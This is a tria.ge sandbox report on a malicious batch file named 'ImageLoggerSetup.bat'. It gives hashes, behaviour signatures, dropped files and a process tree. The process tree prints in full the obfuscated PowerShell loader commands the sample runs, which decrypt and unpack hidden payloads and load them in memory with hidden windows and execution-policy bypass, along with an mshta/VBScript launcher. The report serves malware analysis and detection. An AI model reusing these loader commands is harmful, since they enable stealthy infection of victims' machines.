Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

1

ImageLoggerSetup.bat

windows7-x64

7

ImageLoggerSetup.bat

windows10-2004-x64

10

Analysis

  • max time kernel
    113s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/10/2023, 07:17

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    ImageLoggerSetup.bat

  • Size

    14.8MB

  • MD5

    ed58dfa2692a12ce30420dea2ecf0a32

  • SHA1

    4f9462f8b957e8ef949462b1c24e644c9a8e3c5f

  • SHA256

    a840fb6ea2354c5bdd1b531aa548620ed7c962a4241e4a384b03939eca8345b8

  • SHA512

    53d2f7ff22a2867f76fe7f3b8f85989473981a60b24dbac96037f7a845045909975e689894da873730f1ccdb57cf60e3303fe9ce9e7c9df982910fb9466e606e

  • SSDEEP

    49152:bseEmeHoJMcGjxqapB4EE9lEB0+ffIWtdRABKQoXKtOAVynWULWFZTksmlXGGmqQ:r

Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 6 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:636
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{a97baba9-4972-4833-83ed-5c77c0fa3afc}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3124
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ImageLoggerSetup.bat"
      1⤵
      • Drops file in Windows directory
      • Suspicious use of WriteProcessMemory
      PID:2168
      • C:\Windows\system32\net.exe
        net session
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4860
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          3⤵
            PID:4748
        • C:\Users\Admin\AppData\Local\Temp\ImageLoggerSetup.bat.exe
          "ImageLoggerSetup.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function zGMpU($Diklo){ $euMEG=[System.Security.Cryptography.Aes]::Create(); $euMEG.Mode=[System.Security.Cryptography.CipherMode]::CBC; $euMEG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $euMEG.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ug72YzxyVYPmlrm+x4EM5RHptRG7xYvnqK1UTiyqGuU='); $euMEG.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ycgtXnmXW7ffnPVJ9krK2A=='); $yDwRi=$euMEG.CreateDecryptor(); $return_var=$yDwRi.TransformFinalBlock($Diklo, 0, $Diklo.Length); $yDwRi.Dispose(); $euMEG.Dispose(); $return_var;}function hjzyY($Diklo){ $vTgwS=New-Object System.IO.MemoryStream(,$Diklo); $TWbJf=New-Object System.IO.MemoryStream; $eXkng=New-Object System.IO.Compression.GZipStream($vTgwS, [IO.Compression.CompressionMode]::Decompress); $eXkng.CopyTo($TWbJf); $eXkng.Dispose(); $vTgwS.Dispose(); $TWbJf.Dispose(); $TWbJf.ToArray();}function DaWCW($Diklo,$wkijr){ $HVCAp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$Diklo); $mUjcp=$HVCAp.EntryPoint; $mUjcp.Invoke($null, $wkijr);}$YVPRN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\ImageLoggerSetup.bat').Split([Environment]::NewLine);foreach ($rtqcE in $YVPRN) { if ($rtqcE.StartsWith('SEROXEN')) { $ZGZrM=$rtqcE.Substring(7); break; }}$AKego=[string[]]$ZGZrM.Split('\');$KLPvJ=hjzyY (zGMpU ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($AKego[0])));$UObWI=hjzyY (zGMpU ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($AKego[1])));DaWCW $UObWI (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));DaWCW $KLPvJ (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
          2⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3368
          • C:\Windows\SysWOW64\dllhost.exe
            C:\Windows\SysWOW64\dllhost.exe /Processid:{a4c8a227-aead-4b32-a7ac-077f3917f186}
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4140
      • C:\Windows\$sxr-mshta.exe
        C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-vZTvBEfQacHvHtirRVoz4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
        1⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Modifies registry class
        PID:460
        • C:\Windows\$sxr-cmd.exe
          "C:\Windows\$sxr-cmd.exe" /c %$sxr-vZTvBEfQacHvHtirRVoz4312:&#<?=%
          2⤵
            PID:2828
            • C:\Windows\$sxr-powershell.exe
              C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function QtSQG($xaHpf){ $MeeQl=[System.Security.Cryptography.Aes]::Create(); $MeeQl.Mode=[System.Security.Cryptography.CipherMode]::CBC; $MeeQl.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $MeeQl.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('io2mqKHo1SYQSP71S4rkK+29iqoYbYK0JkJASXUAUeQ='); $MeeQl.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+SujIlHRoFjYnpppWe4Kag=='); $IHTka=$MeeQl.('rotpyrceDetaerC'[-1..-15] -join '')(); $KnBvL=$IHTka.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xaHpf, 0, $xaHpf.Length); $IHTka.Dispose(); $MeeQl.Dispose(); $KnBvL;}function QDneH($xaHpf){ $zSGbf=New-Object System.IO.MemoryStream(,$xaHpf); $jqnzQ=New-Object System.IO.MemoryStream; $nMrTi=New-Object System.IO.Compression.GZipStream($zSGbf, [IO.Compression.CompressionMode]::Decompress); $nMrTi.CopyTo($jqnzQ); $nMrTi.Dispose(); $zSGbf.Dispose(); $jqnzQ.Dispose(); $jqnzQ.ToArray();}function zQFub($xaHpf,$BazHo){ $JcnxE=[System.Reflection.Assembly]::Load([byte[]]$xaHpf); $RIYbw=$JcnxE.EntryPoint; $RIYbw.Invoke($null, $BazHo);}$MeeQl1 = New-Object System.Security.Cryptography.AesManaged;$MeeQl1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$MeeQl1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$MeeQl1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('io2mqKHo1SYQSP71S4rkK+29iqoYbYK0JkJASXUAUeQ=');$MeeQl1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+SujIlHRoFjYnpppWe4Kag==');$sshTM = $MeeQl1.('rotpyrceDetaerC'[-1..-15] -join '')();$YZfHJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1CfRr48TFSANtdGV+cm/8Q==');$YZfHJ = $sshTM.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YZfHJ, 0, $YZfHJ.Length);$YZfHJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YZfHJ);$QJUDG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WMYZ1FijFTfNP4cLy8GCxujKDauNvqlh390qSIK/Lqs=');$QJUDG = $sshTM.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QJUDG, 0, $QJUDG.Length);$QJUDG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($QJUDG);$FxKpI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qvWtD+8etzpa1KJJosA5cw==');$FxKpI = $sshTM.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FxKpI, 0, $FxKpI.Length);$FxKpI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FxKpI);$zlUOA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GN754PYmZydkIUauCghz/WGBu70Nvy5+PLpcOSfcmU/p3+eBxSboC5F9+BDuFEVv824csXhivDjZ6KPKzsOPIRHlHWeDs9NlHem3zGR1B6Y7L1ERC+bYFK79oECsUzo+QxnXMwaMl6/Tu4QCI2UFN69oBs/oCQGaRitNhOEXJVcDv9QtMFbzE7uGySQoooH1781jLBeAZctGpKz5WyL5qfiEw8RwqxE2kwFrharzGgxDpNWRd8EgPul8gBnwruWC7qLWfnyOJa5MNdbmxMQX/OJRGfWD5uRfHfni4oRkJLDWbm/VOIfgX6/8esE5Zegs9W/JDvg8d/CuTARAyvF6JEySLn5F4Ue81peWt8yCqUywhM48h3WmluEGYpeIEpu57pGdVJQ+Td8k4c8azsrVBa48n9BQD9pPf8oDceopvRs=');$zlUOA = $sshTM.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zlUOA, 0, $zlUOA.Length);$zlUOA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zlUOA);$PLCKf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kSsingwTFigUVCJL2Aw7Mw==');$PLCKf = $sshTM.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PLCKf, 0, $PLCKf.Length);$PLCKf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PLCKf);$PdFPN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('H6+WBqR623/ESRtx5mWwtg==');$PdFPN = $sshTM.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PdFPN, 0, $PdFPN.Length);$PdFPN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PdFPN);$uJjcd = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1+hxqg4MJdAZy5KctW9zNw==');$uJjcd = $sshTM.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uJjcd, 0, $uJjcd.Length);$uJjcd = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uJjcd);$KhTMV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XK7nm8rxZyhHmYXchAV1LQ==');$KhTMV = $sshTM.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KhTMV, 0, $KhTMV.Length);$KhTMV = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KhTMV);$NgdJA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kZjBz8dR7n62ul4KOlaamQ==');$NgdJA = $sshTM.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NgdJA, 0, $NgdJA.Length);$NgdJA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NgdJA);$YZfHJ0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SP1BaVgtWs6p+pNQ76ZLwg==');$YZfHJ0 = $sshTM.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YZfHJ0, 0, $YZfHJ0.Length);$YZfHJ0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YZfHJ0);$YZfHJ1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iBXYf589cGCiotuNUtEl8w==');$YZfHJ1 = $sshTM.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YZfHJ1, 0, $YZfHJ1.Length);$YZfHJ1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YZfHJ1);$YZfHJ2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GpnSdnGC1VX1ALJSEVUnAg==');$YZfHJ2 = $sshTM.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YZfHJ2, 0, $YZfHJ2.Length);$YZfHJ2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YZfHJ2);$YZfHJ3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vC9mbAaAHnk9kGLW+SEHZw==');$YZfHJ3 = $sshTM.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YZfHJ3, 0, $YZfHJ3.Length);$YZfHJ3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YZfHJ3);$sshTM.Dispose();$MeeQl1.Dispose();if (@(get-process -ea silentlycontinue $YZfHJ3).count -gt 1) {exit};$tXYlg = [Microsoft.Win32.Registry]::$KhTMV.$uJjcd($YZfHJ).$PdFPN($QJUDG);$wcers=[string[]]$tXYlg.Split('\');$NNqAX=QDneH(QtSQG([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($wcers[1])));zQFub $NNqAX (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$Tehws = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($wcers[0]);$MeeQl = New-Object System.Security.Cryptography.AesManaged;$MeeQl.Mode = [System.Security.Cryptography.CipherMode]::CBC;$MeeQl.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$MeeQl.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('io2mqKHo1SYQSP71S4rkK+29iqoYbYK0JkJASXUAUeQ=');$MeeQl.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+SujIlHRoFjYnpppWe4Kag==');$IHTka = $MeeQl.('rotpyrceDetaerC'[-1..-15] -join '')();$Tehws = $IHTka.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Tehws, 0, $Tehws.Length);$IHTka.Dispose();$MeeQl.Dispose();$zSGbf = New-Object System.IO.MemoryStream(, $Tehws);$jqnzQ = New-Object System.IO.MemoryStream;$nMrTi = New-Object System.IO.Compression.GZipStream($zSGbf, [IO.Compression.CompressionMode]::$YZfHJ1);$nMrTi.$NgdJA($jqnzQ);$nMrTi.Dispose();$zSGbf.Dispose();$jqnzQ.Dispose();$Tehws = $jqnzQ.ToArray();$pdzjU = $zlUOA | IEX;$JcnxE = $pdzjU::$YZfHJ2($Tehws);$RIYbw = $JcnxE.EntryPoint;$RIYbw.$YZfHJ0($null, (, [string[]] ($FxKpI)))
              3⤵
                PID:1176

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\ImageLoggerSetup.bat.exe
            Filesize

            442KB

            MD5

            04029e121a0cfa5991749937dd22a1d9

            SHA1

            f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

            SHA256

            9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

            SHA512

            6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\ImageLoggerSetup.bat.exe
            Filesize

            442KB

            MD5

            04029e121a0cfa5991749937dd22a1d9

            SHA1

            f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

            SHA256

            9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

            SHA512

            6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uxsxtmlv.kvr.ps1
            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            Download Submit

          • C:\Windows\$sxr-cmd.exe
            Filesize

            283KB

            MD5

            8a2122e8162dbef04694b9c3e0b6cdee

            SHA1

            f1efb0fddc156e4c61c5f78a54700e4e7984d55d

            SHA256

            b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

            SHA512

            99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

            Download Submit

          • C:\Windows\$sxr-cmd.exe
            Filesize

            283KB

            MD5

            8a2122e8162dbef04694b9c3e0b6cdee

            SHA1

            f1efb0fddc156e4c61c5f78a54700e4e7984d55d

            SHA256

            b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

            SHA512

            99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

            Download Submit

          • C:\Windows\$sxr-mshta.exe
            Filesize

            14KB

            MD5

            0b4340ed812dc82ce636c00fa5c9bef2

            SHA1

            51c97ebe601ef079b16bcd87af827b0be5283d96

            SHA256

            dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

            SHA512

            d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

            Download Submit

          • C:\Windows\$sxr-mshta.exe
            Filesize

            14KB

            MD5

            0b4340ed812dc82ce636c00fa5c9bef2

            SHA1

            51c97ebe601ef079b16bcd87af827b0be5283d96

            SHA256

            dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

            SHA512

            d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

            Download Submit

          • C:\Windows\$sxr-powershell.exe
            Filesize

            442KB

            MD5

            04029e121a0cfa5991749937dd22a1d9

            SHA1

            f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

            SHA256

            9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

            SHA512

            6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

            Download Submit

          • C:\Windows\$sxr-powershell.exe
            Filesize

            442KB

            MD5

            04029e121a0cfa5991749937dd22a1d9

            SHA1

            f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

            SHA256

            9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

            SHA512

            6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

            Download Submit

          • memory/1176-59-0x00007FFCF28D0000-0x00007FFCF3391000-memory.dmp

            Filesize

            10.8MB

            Download

          • memory/1176-60-0x000001EA55390000-0x000001EA553A0000-memory.dmp

            Filesize

            64KB

            Download

          • memory/3124-36-0x0000000140000000-0x0000000140004000-memory.dmp

            Filesize

            16KB

            Download

          • memory/3124-34-0x0000000140000000-0x0000000140004000-memory.dmp

            Filesize

            16KB

            Download

          • memory/3368-21-0x0000028D8FDD0000-0x0000028D8FDE0000-memory.dmp

            Filesize

            64KB

            Download

          • memory/3368-20-0x0000028D8FDD0000-0x0000028D8FDE0000-memory.dmp

            Filesize

            64KB

            Download

          • memory/3368-28-0x0000028DBB7B0000-0x0000028DBB95E000-memory.dmp

            Filesize

            1.7MB

            Download

          • memory/3368-29-0x0000028DBB960000-0x0000028DBBABE000-memory.dmp

            Filesize

            1.4MB

            Download

          • memory/3368-30-0x0000028DAA1D0000-0x0000028DAA228000-memory.dmp

            Filesize

            352KB

            Download

          • memory/3368-31-0x0000028D8FD10000-0x0000028D8FD20000-memory.dmp

            Filesize

            64KB

            Download

          • memory/3368-32-0x00007FFD115D0000-0x00007FFD117C5000-memory.dmp

            Filesize

            2.0MB

            Download

          • memory/3368-25-0x0000028DB2B90000-0x0000028DB37A8000-memory.dmp

            Filesize

            12.1MB

            Download

          • memory/3368-24-0x00007FFD0FB40000-0x00007FFD0FBFE000-memory.dmp

            Filesize

            760KB

            Download

          • memory/3368-15-0x0000028D8FDF0000-0x0000028D8FE12000-memory.dmp

            Filesize

            136KB

            Download

          • memory/3368-16-0x00007FFCF28D0000-0x00007FFCF3391000-memory.dmp

            Filesize

            10.8MB

            Download

          • memory/3368-23-0x00007FFD115D0000-0x00007FFD117C5000-memory.dmp

            Filesize

            2.0MB

            Download

          • memory/3368-22-0x0000028D8FCE0000-0x0000028D8FD04000-memory.dmp

            Filesize

            144KB

            Download

          • memory/3368-27-0x00007FFCFE9A0000-0x00007FFCFE9B9000-memory.dmp

            Filesize

            100KB

            Download

          • memory/3368-19-0x00007FFCF28D0000-0x00007FFCF3391000-memory.dmp

            Filesize

            10.8MB

            Download

          • memory/3368-18-0x0000028D8FDD0000-0x0000028D8FDE0000-memory.dmp

            Filesize

            64KB

            Download

          • memory/3368-17-0x0000028D8FDD0000-0x0000028D8FDE0000-memory.dmp

            Filesize

            64KB

            Download

          • memory/4140-39-0x0000000000400000-0x0000000000406000-memory.dmp

            Filesize

            24KB

            Download

          • memory/4140-37-0x0000000000400000-0x0000000000406000-memory.dmp

            Filesize

            24KB

            Download